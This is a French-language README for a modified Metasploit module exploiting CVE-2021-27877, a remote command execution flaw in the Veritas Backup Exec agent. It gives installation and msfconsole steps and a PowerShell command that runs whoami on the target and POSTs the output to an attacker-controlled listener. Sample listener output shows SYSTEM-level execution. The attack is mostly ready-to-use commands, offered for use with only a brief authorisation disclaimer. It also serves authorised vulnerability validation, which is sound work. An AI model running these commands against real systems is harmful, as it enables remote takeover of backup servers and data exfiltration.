
Une version modifiée du module Rapid7 Metasploit pour CVE-2021-27877 qui prend en charge l'exécution directe de commandes pour une validation fiable des vulnérabilités. Comprend une documentation expliquant le flux de travail de l'exploit, les modifications du module et des exemples d'utilisation.
Ce dépôt contient une version modifiée du module Metasploit original de Rapid7 pour CVE-2021-27877 affectant l'agent Veritas Backup Exec.
Lors de mes tests, le module Metasploit original a bien identifié la cible comme vulnérable mais a systématiquement échoué à établir une session car l'étape de livraison de la charge utile était infructueuse. Cependant, l'analyse du module a montré que l'authentification et la fonctionnalité sous-jacente d'exécution de commandes fonctionnaient correctement.
Pour simplifier la validation de la vulnérabilité, j'ai modifié le module pour exécuter directement des commandes du système d'exploitation fournies par l'utilisateur via la fonctionnalité d'exécution de commandes NDMP vulnérable, au lieu de télécharger et d'exécuter une charge utile. Cela permet de confirmer plus facilement l'exécution de code à distance sans dépendre d'un shell inverse ou d'un staging de charge utile.
Avertissement : Cette preuve de concept est fournie à des fins éducatives et pour des tests de sécurité autorisés uniquement. Ne l'utilisez que contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite d'évaluation.
Remarque : Pour protéger l'environnement utilisé lors des tests, toutes les adresses IP de ce dépôt ont été anonymisées. Dans les exemples,
192.168.x.xreprésente l'hôte cible, tandis que192.168.y.yreprésente le système attaquant ou l'écouteur. Ces substitutions n'affectent pas le fonctionnement de la preuve de concept.
Par rapport au module Rapid7 original, les modifications suivantes ont été apportées :
COMMAND.Copiez le module modifié dans votre répertoire local des modules Metasploit.
cp beagent_sha_auth_rce_custom.rb /usr/share/metasploit-framework/modules/exploits/multi/veritas/
Démarrez (ou redémarrez) Metasploit et rechargez les modules locaux :
msfconsole
reload_all
Avant d'exécuter le module, démarrez un écouteur HTTP (ou tout serveur web capable de recevoir et d'afficher les requêtes HTTP POST). Cet écouteur recevra la sortie de la commande exécutée sur la cible.
Par exemple, vous pouvez utiliser un simple serveur HTTP Python avec un gestionnaire de requêtes personnalisé, nc, ou tout écouteur HTTP de votre choix.
Chargez le module :
use exploit/multi/veritas/beagent_sha_auth_rce_custom
Configurez les options requises :
set RHOSTS 192.168.x.x
set RPORT 10000
set COMMAND powershell -Command "$output = whoami; Invoke-WebRequest -Uri 'http://192.168.y.y:8080/' -Method POST -Body $output"
run
L'option COMMAND accepte toute commande que vous souhaitez exécuter sur la cible.
Ce module est conçu pour exécuter une seule commande et ne renvoie pas automatiquement la sortie de la commande.
Pour récupérer la sortie, utilisez un mécanisme de rappel approprié dans votre commande (par exemple, une requête HTTP POST ou un autre canal sortant) et surveillez votre écouteur.
Exemple de sortie d'écouteur :
Listening on 0.0.0.0 8080
Connection received on 192.168.x.x 26006
POST / HTTP/ 1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShe11/5.1.14393.9234
Content-Type: application/x-www-form-urlencoded
Host: 192.168.y.y:8080
Content-Length: 19
Expect: 100-continue
Connection: Keep-Alive
nt authority\system